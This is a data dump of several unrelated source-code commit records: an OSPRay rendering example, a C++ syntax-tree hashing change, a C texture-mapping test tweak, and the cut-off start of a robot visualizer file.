ospNewRenderer(\"ao4\"); \/\/ choose Ambient Occlusion renderer\n  ospSetObject(renderer, \"model\",  world);\n  ospSetObject(renderer, \"camera\", camera);\n  ospCommit(renderer);\n\n\n  \/\/ create and setup framebuffer\n  OSPFrameBuffer framebuffer = ospNewFrameBuffer(osp::vec2i(width, height), OSP_RGBA_I8, OSP_FB_COLOR | \/*OSP_FB_DEPTH |*\/ OSP_FB_ACCUM);\n  ospFrameBufferClear(framebuffer, OSP_FB_COLOR | OSP_FB_ACCUM);\n\n  \/\/ render one frame\n  ospRenderFrame(framebuffer, renderer, OSP_FB_COLOR | OSP_FB_ACCUM);\n\n  \/\/ access framebuffer and write its content as PPM file\n  const uint32 * fb = (uint32*)ospMapFrameBuffer(framebuffer, OSP_FB_COLOR);\n  writePPM(\"firstFrame.ppm\", width, height, fb);\n  ospUnmapFrameBuffer(fb, framebuffer);\n\n\n  \/\/ render 10 more frames, which are accumulated to result in a better converged image\n  for (int frames = 0; frames < 10; frames++)\n    ospRenderFrame(framebuffer, renderer, OSP_FB_COLOR | OSP_FB_ACCUM);\n\n  fb = (uint32*)ospMapFrameBuffer(framebuffer, OSP_FB_COLOR);\n  writePPM(\"accumulatedFrame.ppm\", width, height, fb);\n  ospUnmapFrameBuffer(fb, framebuffer);\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"SyntaxTree.h\"\n\n#include <list>\n#include <vector>\n#include <sstream>\n#include <iostream>\n#include <stdexcept>\n#include <assert.h>\n\n#include <boost\/format.hpp>\n\n#include \"template.common.h\"\n#include \"template.cs.h\"\n\nusing namespace std;\n\n\/\/ class Node\n\/\/ {\n\/\/ public:\n    Node::~Node()\n    {\n    }\n\n    int Node::getType() { return 0; } \/\/TODO: remove getType() if unnecessary\n    int Node::getHash(vector<Node*>* referencingStack) { return 0; }\n    string* Node::getParsed(int as) { return 0; }\n\n\/\/ };\n\n\/\/ class NodeKst : public Node\n\/\/ {\n    \/\/ list<Node*>* commands;\n    \/\/ string* fileName;\n    \/\/ public:\n    NodeKst::NodeKst(list<Node*>* _commands, string* _fileName) : Node()\n    {\n        commands = _commands;\n        fileName = _fileName;\n    }\n\n    int NodeKst::getType()\n    {\n       return CsNodeType::kst;\n    }\n\n    int NodeKst::getHash(vector<Node*>* referencingStack)\n    {\n        return 0;\n    }\n\n    string* NodeKst::getParsed(int as)\n    {\n        stringstream parsed;\n\n        parsed << boost::format(TCS_HEADER) % *fileName;\n        parsed << TCS_USINGS;\n\n        string namespaceByFileName = fileName->substr(0, fileName->find(\".\"));\n\n        parsed << boost::format(TCS_NAMESPACE_BEGIN) % namespaceByFileName;\n\n        list<Node*>::iterator i = commands->begin();\n        list<Node*>::iterator end = commands->end();\n\n        string* temp;\n\n        for (; i != end; ++i)\n        {\n            temp = (*i)->getParsed(CsParseAs::Default);\n            temp = indent(temp);\n            parsed << *temp;\n            parsed << \"\\n\";\n        }\n\n        parsed << TCS_NAMESPACE_END;\n\n        parsed << \"\\n\\n\";\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodeInclude : public Node\n\/\/ {\n\/\/     string* value;\n\/\/     public:\n    NodeInclude::NodeInclude(string* _value) : Node()\n    {\n        value = _value;\n    }\n\n    int NodeInclude::getType()\n    {\n       return CsNodeType::include;\n    }\n\n    int NodeInclude::getHash(vector<Node*>* referencingStack)\n    {\n        return 0;\n    }\n\n    string* NodeInclude::getParsed(int as)\n    {\n        stringstream parsed;\n\n        parsed << \"#include \\\"\";\n        parsed << *(value);\n        parsed << \"\\\"\";\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodePacket : public Node\n\/\/ {\n\/\/     string* packetName;\n\/\/     list<Node*>* packetMembers;\n\/\/     public:\n    NodePacket::NodePacket(string* _packetName, list<Node*>* _packetMembers) : Node()\n    {\n        packetName = _packetName;\n        packetMembers = _packetMembers;\n    }\n\n    int NodePacket::getType()\n    {\n       return CsNodeType::packet;\n    }\n\n    int NodePacket::getHash(vector<Node*>* referencingStack)\n    {\n        if (referencingStack == NULL)\n        {\n            referencingStack = new vector<Node*>();\n        }\n\n        referencingStack->push_back(this);\n\n        size_t packetHash = getHashCode(packetName);\n\n        list<Node*>::iterator i = packetMembers->begin();\n        list<Node*>::iterator end = packetMembers->end();\n        for (; i != end; ++i)\n        {\n            combineHashCode(packetHash, (*i)->getHash(referencingStack));\n        }\n\n        return (int)packetHash;\n    }\n\n    string* NodePacket::getParsed(int as)\n    {\n        stringstream parsed;\n\n        switch (as)\n        {\n            case CsParseAs::Default:\n            {\n                parsed << boost::format(TCS_PACKET_BEGIN) % *packetName;\n                parsed << \"\\t<temp> packet hash: \" << getHash(NULL) << \"\\n\";\n                list<Node*>::iterator i = packetMembers->begin();\n                list<Node*>::iterator end = packetMembers->end();\n                for (; i != end; ++i)\n                {\n                    parsed << \"\\t\" << *((*i)->getParsed(CsParseAs::Default));\n                }\n                parsed << TCS_PACKET_END;\n            }\n            break;\n        }\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodePacketMember : public Node\n\/\/ {\n\/\/     Node* memberType;\n\/\/     Node* memberName;\n\/\/     public:\n    NodePacketMember::NodePacketMember(Node* _memberType, Node* _memberName) : Node()\n    {\n        memberType = _memberType;\n        memberName = _memberName;\n    }\n\n    int NodePacketMember::getType()\n    {\n       return CsNodeType::packetMember;\n    }\n\n    int NodePacketMember::getHash(vector<Node*>* referencingStack)\n    {\n        assert(referencingStack != NULL);\n\n        return 0;\n    }\n\n    string* NodePacketMember::getParsed(int as)\n    {\n        stringstream parsed;\n\n        switch (as)\n        {\n            case CsParseAs::Default:\n            {\n                parsed << boost::format(TCS_PACKET_MEMBER_AS_DEFAULT)\n                    % *(memberType->getParsed(CsParseAs::Default))\n                    % *(memberName->getParsed(CsParseAs::Default));\n            }\n            break;\n        }\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodePacketMemberType : public Node\n\/\/ {\n\/\/     int typeType; \/\/ one of PRIMITIVE_DATA_TYPE, REFERENCE_DATA_TYPE, MAP, LIST\n\/\/     string* value; \/\/ \"int\", \"bool\", ..., \"MyPacket\", \"Skill\" or NULL when type is MAP or LIST\n\/\/     Node* generic1; \/\/ LIST<generic1>\n\/\/     Node* generic2; \/\/ MAP <generic1, generic2>\n\/\/     Node* generic3; \/\/ reserved\n\/\/     public:\n    NodePacketMemberType::NodePacketMemberType(int _type, string* _value) : Node()\n    {\n        typeType = _type;\n        value = _value;\n        generic1 = NULL;\n        generic2 = NULL;\n        generic3 = NULL;\n    }\n\n    NodePacketMemberType::NodePacketMemberType(int _type, Node* _generic1) : Node()\n    {\n        typeType = _type;\n        value = NULL;\n        generic1 = _generic1;\n        generic2 = NULL;\n        generic3 = NULL;\n    }\n\n    NodePacketMemberType::NodePacketMemberType(int _type, Node* _generic1, Node* _generic2) : Node()\n    {\n        typeType = _type;\n        value = NULL;\n        generic1 = _generic1;\n        generic2 = _generic2;\n        generic3 = NULL;\n    }\n\n    NodePacketMemberType::NodePacketMemberType(int _type, Node* _generic1, Node* _generic2, Node* _generic3) : Node()\n    {\n        typeType = _type;\n        value = NULL;\n        generic1 = _generic1;\n        generic2 = _generic2;\n        generic3 = _generic3;\n    }\n\n    int NodePacketMemberType::getType()\n    {\n       return CsNodeType::packetMemberType;\n    }\n\n    int NodePacketMemberType::getHash(vector<Node*>* referencingStack)\n    {\n        return 0;\n    }\n\n    string* NodePacketMemberType::getParsed(int as)\n    {\n        stringstream parsed;\n\n        switch (typeType) {\n\n            case Rakjin::Krystal::Parser::token::PRIMITIVE_DATA_TYPE:\n            parsed << *value;\n            break;\n\n            case Rakjin::Krystal::Parser::token::REFERENCE_DATA_TYPE:\n            parsed << *value;\n            break;\n\n            case Rakjin::Krystal::Parser::token::MAP:\n            parsed << \"Dictionary\";\n            parsed << \"<\" << *(generic1->getParsed(CsParseAs::Default)) << \", \" << *(generic2->getParsed(CsParseAs::Default)) << \">\";\n            break;\n\n            case Rakjin::Krystal::Parser::token::LIST:\n            parsed << \"List\";\n            parsed << \"<\" << *(generic1->getParsed(CsParseAs::Default)) << \">\";\n            break;\n\n            default:\n            throw(runtime_error(\"Unknown NodePacketMemberType type.\"));\n            break;\n        }\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodePacketMemberName : public Node\n\/\/ {\n\/\/     string* value;\n\/\/     public:\n    NodePacketMemberName::NodePacketMemberName(string* _value) : Node()\n    {\n        value = _value;\n    }\n\n    int NodePacketMemberName::getType()\n    {\n       return CsNodeType::packetMemberName;\n    }\n\n    int NodePacketMemberName::getHash(vector<Node*>* referencingStack)\n    {\n        return 0;\n    }\n\n    string* NodePacketMemberName::getParsed(int as)\n    {\n       return value;\n    }\n\/\/ };\n\n<commit_msg>NodePacketMember::getHash returns hash<commit_after>#include \"SyntaxTree.h\"\n\n#include <list>\n#include <vector>\n#include <sstream>\n#include <iostream>\n#include <stdexcept>\n#include <assert.h>\n\n#include <boost\/format.hpp>\n\n#include \"template.common.h\"\n#include \"template.cs.h\"\n\nusing namespace std;\n\n\/\/ class Node\n\/\/ {\n\/\/ public:\n    Node::~Node()\n    {\n    }\n\n    int Node::getType() { return 0; } \/\/TODO: remove getType() if unnecessary\n    int Node::getHash(vector<Node*>* referencingStack) { return 0; }\n    string* Node::getParsed(int as) { return 0; }\n\n\/\/ };\n\n\/\/ class NodeKst : public Node\n\/\/ {\n    \/\/ list<Node*>* commands;\n    \/\/ string* fileName;\n    \/\/ public:\n    NodeKst::NodeKst(list<Node*>* _commands, string* _fileName) : Node()\n    {\n        commands = _commands;\n        fileName = _fileName;\n    }\n\n    int NodeKst::getType()\n    {\n       return CsNodeType::kst;\n    }\n\n    int NodeKst::getHash(vector<Node*>* referencingStack)\n    {\n        return 0;\n    }\n\n    string* NodeKst::getParsed(int as)\n    {\n        stringstream parsed;\n\n        parsed << boost::format(TCS_HEADER) % *fileName;\n        parsed << TCS_USINGS;\n\n        string namespaceByFileName = fileName->substr(0, fileName->find(\".\"));\n\n        parsed << boost::format(TCS_NAMESPACE_BEGIN) % namespaceByFileName;\n\n        list<Node*>::iterator i = commands->begin();\n        list<Node*>::iterator end = commands->end();\n\n        string* temp;\n\n        for (; i != end; ++i)\n        {\n            temp = (*i)->getParsed(CsParseAs::Default);\n            temp = indent(temp);\n            parsed << *temp;\n            parsed << \"\\n\";\n        }\n\n        parsed << TCS_NAMESPACE_END;\n\n        parsed << \"\\n\\n\";\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodeInclude : public Node\n\/\/ {\n\/\/     string* value;\n\/\/     public:\n    NodeInclude::NodeInclude(string* _value) : Node()\n    {\n        value = _value;\n    }\n\n    int NodeInclude::getType()\n    {\n       return CsNodeType::include;\n    }\n\n    int NodeInclude::getHash(vector<Node*>* referencingStack)\n    {\n        return 0;\n    }\n\n    string* NodeInclude::getParsed(int as)\n    {\n        stringstream parsed;\n\n        parsed << \"#include \\\"\";\n        parsed << *(value);\n        parsed << \"\\\"\";\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodePacket : public Node\n\/\/ {\n\/\/     string* packetName;\n\/\/     list<Node*>* packetMembers;\n\/\/     public:\n    NodePacket::NodePacket(string* _packetName, list<Node*>* _packetMembers) : Node()\n    {\n        packetName = _packetName;\n        packetMembers = _packetMembers;\n    }\n\n    int NodePacket::getType()\n    {\n       return CsNodeType::packet;\n    }\n\n    int NodePacket::getHash(vector<Node*>* referencingStack)\n    {\n        if (referencingStack == NULL)\n        {\n            referencingStack = new vector<Node*>();\n        }\n\n        referencingStack->push_back(this);\n\n        size_t packetHash = getHashCode(packetName);\n\n        list<Node*>::iterator i = packetMembers->begin();\n        list<Node*>::iterator end = packetMembers->end();\n        for (; i != end; ++i)\n        {\n            combineHashCode(packetHash, (*i)->getHash(referencingStack));\n        }\n\n        return (int) packetHash;\n    }\n\n    string* NodePacket::getParsed(int as)\n    {\n        stringstream parsed;\n\n        switch (as)\n        {\n            case CsParseAs::Default:\n            {\n                parsed << boost::format(TCS_PACKET_BEGIN) % *packetName;\n                parsed << \"\\t<temp> packet hash: \" << getHash(NULL) << \"\\n\";\n                list<Node*>::iterator i = packetMembers->begin();\n                list<Node*>::iterator end = packetMembers->end();\n                for (; i != end; ++i)\n                {\n                    parsed << \"\\t\" << *((*i)->getParsed(CsParseAs::Default));\n                }\n                parsed << TCS_PACKET_END;\n            }\n            break;\n        }\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodePacketMember : public Node\n\/\/ {\n\/\/     Node* memberType;\n\/\/     Node* memberName;\n\/\/     public:\n    NodePacketMember::NodePacketMember(Node* _memberType, Node* _memberName) : Node()\n    {\n        memberType = _memberType;\n        memberName = _memberName;\n    }\n\n    int NodePacketMember::getType()\n    {\n       return CsNodeType::packetMember;\n    }\n\n    int NodePacketMember::getHash(vector<Node*>* referencingStack)\n    {\n        assert(referencingStack != NULL);\n\n        size_t packetMemberHash = memberType->getHash(referencingStack);\n        combineHashCode(packetMemberHash, memberName->getHash(referencingStack));\n\n        return (int) packetMemberHash;\n    }\n\n    string* NodePacketMember::getParsed(int as)\n    {\n        stringstream parsed;\n\n        switch (as)\n        {\n            case CsParseAs::Default:\n            {\n                parsed << boost::format(TCS_PACKET_MEMBER_AS_DEFAULT)\n                    % *(memberType->getParsed(CsParseAs::Default))\n                    % *(memberName->getParsed(CsParseAs::Default));\n            }\n            break;\n        }\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodePacketMemberType : public Node\n\/\/ {\n\/\/     int typeType; \/\/ one of PRIMITIVE_DATA_TYPE, REFERENCE_DATA_TYPE, MAP, LIST\n\/\/     string* value; \/\/ \"int\", \"bool\", ..., \"MyPacket\", \"Skill\" or NULL when type is MAP or LIST\n\/\/     Node* generic1; \/\/ LIST<generic1>\n\/\/     Node* generic2; \/\/ MAP <generic1, generic2>\n\/\/     Node* generic3; \/\/ reserved\n\/\/     public:\n    NodePacketMemberType::NodePacketMemberType(int _type, string* _value) : Node()\n    {\n        typeType = _type;\n        value = _value;\n        generic1 = NULL;\n        generic2 = NULL;\n        generic3 = NULL;\n    }\n\n    NodePacketMemberType::NodePacketMemberType(int _type, Node* _generic1) : Node()\n    {\n        typeType = _type;\n        value = NULL;\n        generic1 = _generic1;\n        generic2 = NULL;\n        generic3 = NULL;\n    }\n\n    NodePacketMemberType::NodePacketMemberType(int _type, Node* _generic1, Node* _generic2) : Node()\n    {\n        typeType = _type;\n        value = NULL;\n        generic1 = _generic1;\n        generic2 = _generic2;\n        generic3 = NULL;\n    }\n\n    NodePacketMemberType::NodePacketMemberType(int _type, Node* _generic1, Node* _generic2, Node* _generic3) : Node()\n    {\n        typeType = _type;\n        value = NULL;\n        generic1 = _generic1;\n        generic2 = _generic2;\n        generic3 = _generic3;\n    }\n\n    int NodePacketMemberType::getType()\n    {\n       return CsNodeType::packetMemberType;\n    }\n\n    int NodePacketMemberType::getHash(vector<Node*>* referencingStack)\n    {\n        return 0;\n    }\n\n    string* NodePacketMemberType::getParsed(int as)\n    {\n        stringstream parsed;\n\n        switch (typeType) {\n\n            case Rakjin::Krystal::Parser::token::PRIMITIVE_DATA_TYPE:\n            parsed << *value;\n            break;\n\n            case Rakjin::Krystal::Parser::token::REFERENCE_DATA_TYPE:\n            parsed << *value;\n            break;\n\n            case Rakjin::Krystal::Parser::token::MAP:\n            parsed << \"Dictionary\";\n            parsed << \"<\" << *(generic1->getParsed(CsParseAs::Default)) << \", \" << *(generic2->getParsed(CsParseAs::Default)) << \">\";\n            break;\n\n            case Rakjin::Krystal::Parser::token::LIST:\n            parsed << \"List\";\n            parsed << \"<\" << *(generic1->getParsed(CsParseAs::Default)) << \">\";\n            break;\n\n            default:\n            throw(runtime_error(\"Unknown NodePacketMemberType type.\"));\n            break;\n        }\n\n        return new string(parsed.str());\n    }\n\/\/ };\n\n\/\/ class NodePacketMemberName : public Node\n\/\/ {\n\/\/     string* value;\n\/\/     public:\n    NodePacketMemberName::NodePacketMemberName(string* _value) : Node()\n    {\n        value = _value;\n    }\n\n    int NodePacketMemberName::getType()\n    {\n       return CsNodeType::packetMemberName;\n    }\n\n    int NodePacketMemberName::getHash(vector<Node*>* referencingStack)\n    {\n        return 0;\n    }\n\n    string* NodePacketMemberName::getParsed(int as)\n    {\n       return value;\n    }\n\/\/ };\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"src\/bitmap.h\"\n#include \"src\/camera.h\"\n#include \"src\/math.h\"\n#include \"src\/timer.h\"\n#include \"src\/triangle.h\"\n#include <stdio.h>\n\ntypedef struct\n{\n    gfx_Triangle tris[2];\n} TexQuad;\n\n\/\/ helper functions\nvoid setupTexQuad(TexQuad *q, int qx, int qy, int qw, int qh, gfx_Bitmap *texture);\nvoid drawTexQuad(const TexQuad *q, const mth_Matrix4 *mvp, gfx_drawBuffer *buffer);\n\n#define ROTATE_QUAD(delta, x, y, z) {\\\n            for(k = 0; k < 2; ++k) \\\n            { \\\n                for(i = 0; i < 3; ++i) \\\n                { \\\n                    mth_rotateVecAxisAngle(&quad.tris[k].vertices[i].position, delta*dt, x, y, z); \\\n                } \\\n            } \\\n        }\n\n\/\/ Texture mapping test\nvoid testTextureMapping()\n{\n    unsigned long int now, last = 0;\n    const unsigned short *keysPressed;\n    TexQuad quad;\n    int texMapFlipped = 0, depthFuncFlipped = 0;\n    gfx_Camera cam;\n    mth_Matrix4 modelViewProj;\n    gfx_Bitmap bmp = gfx_loadBitmap(\"images\/quake.bmp\");\n    gfx_drawBuffer buffer;\n\n    ALLOC_DRAWBUFFER(buffer, SCREEN_WIDTH, SCREEN_HEIGHT, DB_COLOR | DB_DEPTH);\n    buffer.drawOpts.depthFunc = DF_ALWAYS;\n\n    if(!DRAWBUFFER_VALID(buffer, DB_COLOR | DB_DEPTH))\n    {\n        printf(\"Out of memory!\");\n        exit(1);\n    }\n\n    gfx_setPalette(bmp.palette);\n\n    tmr_start();\n\n    mth_matIdentity(&modelViewProj);\n\n    \/\/ setup camera\n    VEC4(cam.position, 0, 0, 60);\n    VEC4(cam.up, 0, 1, 0);\n    VEC4(cam.right, 1, 0, 0);\n    VEC4(cam.target, 0, 0, -1);\n\n    \/\/ setup textured quad\n    setupTexQuad(&quad, -25, -25, 25, 25, &bmp);\n\n    mth_matPerspective(&cam.projection, 75.f * M_PI \/180.f, (float)buffer.width \/ (float)buffer.height, 0.1f, 500.f);\n    mth_matView(&cam.view, &cam.position, &cam.target, &cam.up);\n    modelViewProj = mth_matMul(&cam.view, &cam.projection);\n\n    do\n    {\n        int i, k;\n        float dt;\n        now = tmr_getMs();\n        dt = (float)(now - last);\n        keysPressed = kbd_getInput();\n\n        if(keysPressed[KEY_RIGHT])\n            ROTATE_QUAD(0.002f, 0.f, 1.f, 0.f);\n\n        if(keysPressed[KEY_LEFT])\n            ROTATE_QUAD(-0.002f, 0.f, 1.f, 0.f);\n\n        if(keysPressed[KEY_UP])\n            ROTATE_QUAD(0.002f, 1.f, 0.f, 0.f);\n\n        if(keysPressed[KEY_DOWN])\n            ROTATE_QUAD(-0.002f, 1.f, 0.f, 0.f);\n\n        if(keysPressed[KEY_T] && !texMapFlipped)\n        {\n            buffer.drawOpts.drawMode = buffer.drawOpts.drawMode == DM_AFFINE ? DM_PERSPECTIVE : DM_AFFINE;\n            texMapFlipped = 1;\n            \n        }\n        else if(!keysPressed[KEY_T]) texMapFlipped = 0;\n\n        if(keysPressed[KEY_D] && !depthFuncFlipped)\n        {\n            buffer.drawOpts.depthFunc = buffer.drawOpts.depthFunc == DF_ALWAYS ? DF_LESS : DF_ALWAYS;\n            depthFuncFlipped = 1;\n            \n        }\n        else if(!keysPressed[KEY_D]) depthFuncFlipped = 0;\n\n        \/\/ clear buffers and draw the quad!\n        gfx_clrBuffer(&buffer, DB_COLOR | DB_DEPTH);\n        drawTexQuad(&quad, &modelViewProj, &buffer);\n        gfx_updateScreen(&buffer);\n\n        fprintf(stdout, buffer.drawOpts.drawMode == DM_AFFINE ? \"[T]exmapping: Affine\\r\\n\" : \"[T]exmapping: Perspective\\r\\n\");\n        fprintf(stdout, buffer.drawOpts.depthFunc == DF_ALWAYS  ? \"[D]epth test: OFF\\r\" : \"[D]epth test: ON\\r\");\n        \/\/ reset carriage to top left corner of the screen\n        fprintf(stdout, \"%c[%d;%df\", 0x1B, 0, 0);        \n        gfx_vSync();\n\n        keysPressed = kbd_getInput();\n        fflush(stdout);\n        last = now;\n    } while(!keysPressed[KEY_ESC]);\n\n    tmr_finish();\n    FREE_DRAWBUFFER(buffer);\n    gfx_freeBitmap(&bmp);\n}\n\n\/* ***** *\/\nvoid setupTexQuad(TexQuad *q, int qx, int qy, int qw, int qh, gfx_Bitmap *texture)\n{\n    q->tris[0].color = 1;\n    q->tris[0].texture = texture;\n    VEC4(q->tris[0].vertices[0].position, qx, qh, 0);\n    q->tris[0].vertices[0].uv.u = 0;\n    q->tris[0].vertices[0].uv.v = 1;\n    VEC4(q->tris[0].vertices[1].position, qw, qy, 0);\n    q->tris[0].vertices[1].uv.u = 1;\n    q->tris[0].vertices[1].uv.v = 0;\n    VEC4(q->tris[0].vertices[2].position, qx, qy, 0);\n    q->tris[0].vertices[2].uv.u = 0;\n    q->tris[0].vertices[2].uv.v = 0;\n\n    q->tris[1].color = 1;\n    q->tris[1].texture = texture;\n    VEC4(q->tris[1].vertices[0].position, qx, qh, 0);\n    q->tris[1].vertices[0].uv.u = 0;\n    q->tris[1].vertices[0].uv.v = 1;\n    VEC4(q->tris[1].vertices[1].position, qw, qh, 0);\n    q->tris[1].vertices[1].uv.u = 1;\n    q->tris[1].vertices[1].uv.v = 1;\n    VEC4(q->tris[1].vertices[2].position, qw, qy, 0);\n    q->tris[1].vertices[2].uv.u = 1;\n    q->tris[1].vertices[2].uv.v = 0;\n}\n\n\/* ***** *\/\nvoid drawTexQuad(const TexQuad *q, const mth_Matrix4 *mvp, gfx_drawBuffer *buffer)\n{\n    gfx_drawTriangle(&q->tris[0], mvp, buffer);\n    gfx_drawTriangle(&q->tris[1], mvp, buffer);\n}\n<commit_msg>use different aspect for tex mapping sample<commit_after>#include \"src\/bitmap.h\"\n#include \"src\/camera.h\"\n#include \"src\/math.h\"\n#include \"src\/timer.h\"\n#include \"src\/triangle.h\"\n#include <stdio.h>\n\ntypedef struct\n{\n    gfx_Triangle tris[2];\n} TexQuad;\n\n\/\/ helper functions\nvoid setupTexQuad(TexQuad *q, int qx, int qy, int qw, int qh, gfx_Bitmap *texture);\nvoid drawTexQuad(const TexQuad *q, const mth_Matrix4 *mvp, gfx_drawBuffer *buffer);\n\n#define ROTATE_QUAD(delta, x, y, z) {\\\n            for(k = 0; k < 2; ++k) \\\n            { \\\n                for(i = 0; i < 3; ++i) \\\n                { \\\n                    mth_rotateVecAxisAngle(&quad.tris[k].vertices[i].position, delta*dt, x, y, z); \\\n                } \\\n            } \\\n        }\n\n\/\/ Texture mapping test\nvoid testTextureMapping()\n{\n    unsigned long int now, last = 0;\n    const unsigned short *keysPressed;\n    TexQuad quad;\n    int texMapFlipped = 0, depthFuncFlipped = 0;\n    gfx_Camera cam;\n    mth_Matrix4 modelViewProj;\n    gfx_Bitmap bmp = gfx_loadBitmap(\"images\/quake.bmp\");\n    gfx_drawBuffer buffer;\n\n    ALLOC_DRAWBUFFER(buffer, SCREEN_WIDTH, SCREEN_HEIGHT, DB_COLOR | DB_DEPTH);\n    buffer.drawOpts.depthFunc = DF_ALWAYS;\n\n    if(!DRAWBUFFER_VALID(buffer, DB_COLOR | DB_DEPTH))\n    {\n        printf(\"Out of memory!\");\n        exit(1);\n    }\n\n    gfx_setPalette(bmp.palette);\n\n    tmr_start();\n\n    mth_matIdentity(&modelViewProj);\n\n    \/\/ setup camera\n    VEC4(cam.position, 0, 0, 60);\n    VEC4(cam.up, 0, 1, 0);\n    VEC4(cam.right, 1, 0, 0);\n    VEC4(cam.target, 0, 0, -1);\n\n    \/\/ setup textured quad\n    setupTexQuad(&quad, -20, -20, 25, 25, &bmp);\n\n    mth_matPerspective(&cam.projection, 75.f * M_PI \/180.f, (float)buffer.width \/ (float)buffer.height, 0.1f, 500.f);\n    mth_matView(&cam.view, &cam.position, &cam.target, &cam.up);\n    modelViewProj = mth_matMul(&cam.view, &cam.projection);\n\n    do\n    {\n        int i, k;\n        float dt;\n        now = tmr_getMs();\n        dt = (float)(now - last);\n        keysPressed = kbd_getInput();\n\n        if(keysPressed[KEY_RIGHT])\n            ROTATE_QUAD(0.002f, 0.f, 1.f, 0.f);\n\n        if(keysPressed[KEY_LEFT])\n            ROTATE_QUAD(-0.002f, 0.f, 1.f, 0.f);\n\n        if(keysPressed[KEY_UP])\n            ROTATE_QUAD(0.002f, 1.f, 0.f, 0.f);\n\n        if(keysPressed[KEY_DOWN])\n            ROTATE_QUAD(-0.002f, 1.f, 0.f, 0.f);\n\n        if(keysPressed[KEY_T] && !texMapFlipped)\n        {\n            buffer.drawOpts.drawMode = buffer.drawOpts.drawMode == DM_AFFINE ? DM_PERSPECTIVE : DM_AFFINE;\n            texMapFlipped = 1;\n            \n        }\n        else if(!keysPressed[KEY_T]) texMapFlipped = 0;\n\n        if(keysPressed[KEY_D] && !depthFuncFlipped)\n        {\n            buffer.drawOpts.depthFunc = buffer.drawOpts.depthFunc == DF_ALWAYS ? DF_LESS : DF_ALWAYS;\n            depthFuncFlipped = 1;\n            \n        }\n        else if(!keysPressed[KEY_D]) depthFuncFlipped = 0;\n\n        \/\/ clear buffers and draw the quad!\n        gfx_clrBuffer(&buffer, DB_COLOR | DB_DEPTH);\n        drawTexQuad(&quad, &modelViewProj, &buffer);\n        gfx_updateScreen(&buffer);\n\n        fprintf(stdout, buffer.drawOpts.drawMode == DM_AFFINE ? \"[T]exmapping: Affine\\r\\n\" : \"[T]exmapping: Perspective\\r\\n\");\n        fprintf(stdout, buffer.drawOpts.depthFunc == DF_ALWAYS  ? \"[D]epth test: OFF\\r\" : \"[D]epth test: ON\\r\");\n        \/\/ reset carriage to top left corner of the screen\n        fprintf(stdout, \"%c[%d;%df\", 0x1B, 0, 0);        \n        gfx_vSync();\n\n        keysPressed = kbd_getInput();\n        fflush(stdout);\n        last = now;\n    } while(!keysPressed[KEY_ESC]);\n\n    tmr_finish();\n    FREE_DRAWBUFFER(buffer);\n    gfx_freeBitmap(&bmp);\n}\n\n\/* ***** *\/\nvoid setupTexQuad(TexQuad *q, int qx, int qy, int qw, int qh, gfx_Bitmap *texture)\n{\n    q->tris[0].color = 1;\n    q->tris[0].texture = texture;\n    VEC4(q->tris[0].vertices[0].position, qx, qh, 0);\n    q->tris[0].vertices[0].uv.u = 0;\n    q->tris[0].vertices[0].uv.v = 1;\n    VEC4(q->tris[0].vertices[1].position, qw, qy, 0);\n    q->tris[0].vertices[1].uv.u = 1;\n    q->tris[0].vertices[1].uv.v = 0;\n    VEC4(q->tris[0].vertices[2].position, qx, qy, 0);\n    q->tris[0].vertices[2].uv.u = 0;\n    q->tris[0].vertices[2].uv.v = 0;\n\n    q->tris[1].color = 1;\n    q->tris[1].texture = texture;\n    VEC4(q->tris[1].vertices[0].position, qx, qh, 0);\n    q->tris[1].vertices[0].uv.u = 0;\n    q->tris[1].vertices[0].uv.v = 1;\n    VEC4(q->tris[1].vertices[1].position, qw, qh, 0);\n    q->tris[1].vertices[1].uv.u = 1;\n    q->tris[1].vertices[1].uv.v = 1;\n    VEC4(q->tris[1].vertices[2].position, qw, qy, 0);\n    q->tris[1].vertices[2].uv.u = 1;\n    q->tris[1].vertices[2].uv.v = 0;\n}\n\n\/* ***** *\/\nvoid drawTexQuad(const TexQuad *q, const mth_Matrix4 *mvp, gfx_drawBuffer *buffer)\n{\n    gfx_drawTriangle(&q->tris[0], mvp, buffer);\n    gfx_drawTriangle(&q->tris[1], mvp, buffer);\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>base: Make Named::name() non-reference<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"rapid_pbd\/visualizer.h\"\n\n#include <map>\n#include <sstream>\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"geometry_msgs\/TransformStamped.h\"\n#include \"pcl\/point_cloud.h\"\n#include \"pcl\/point_types.h\"\n#include \"pcl_conversions\/pcl_conversions.h\"\n#include \"rapid_pbd\/joint_state.h\"\n#include \"rapid_pbd_msgs\/EditorEvent.h\"\n#include \"rapid_pbd_msgs\/Landmark.h\"\n#include \"rapid_pbd_msgs\/Program.h\"\n#include \"robot_markers\/builder.h\"\n#include \"sensor_msgs\/PointCloud2.h\"\n#include \"surface_perception\/visualization.h\"\n#include \"visualization_msgs\/Marker.h\"\n#include \"visualization_msgs\/MarkerArray.h\"\n\n#include \"rapid_pbd\/robot_config.h\"\n#include \"rapid_pbd\/world.h\"\n\nnamespace msgs = rapid_pbd_msgs;\nusing sensor_msgs::PointCloud2;\nusing visualization_msgs::Marker;\nusing visualization_msgs::MarkerArray;\n\nnamespace rapid {\nnamespace pbd {\nVisualizer::Visualizer(const SceneDb& scene_db,\n                       const robot_markers::Builder& marker_builder,\n                       const RobotConfig& robot_config)\n    : scene_db_(scene_db),\n      marker_builder_(marker_builder),\n      robot_config_(robot_config),\n      step_vizs_(),\n      nh_() {}\n\nvoid Visualizer::Init() {\n  marker_builder_.Init();\n  marker_builder_.SetNamespace(\"robot\");\n  marker_builder_.SetFrameId(robot_config_.base_link());\n}\n\nvoid Visualizer::Publish(const std::string& program_id, const World& world) {\n  CreateStepVizIfNotExists(program_id);\n\n  \/\/ Publish the robot visualization\n  MarkerArray robot_markers;\n  std::map<std::string, double> 